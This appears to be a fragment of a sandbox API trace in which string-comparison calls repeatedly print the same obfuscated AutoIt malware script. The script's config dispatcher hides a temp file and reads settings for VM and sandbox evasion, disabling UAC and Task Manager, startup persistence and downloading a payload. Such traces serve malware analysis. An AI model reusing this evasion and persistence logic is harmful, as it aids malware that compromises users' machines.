True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = I", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rayIcon\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = In", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ayIcon\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = Ini", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yIcon\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniR", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Icon\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = 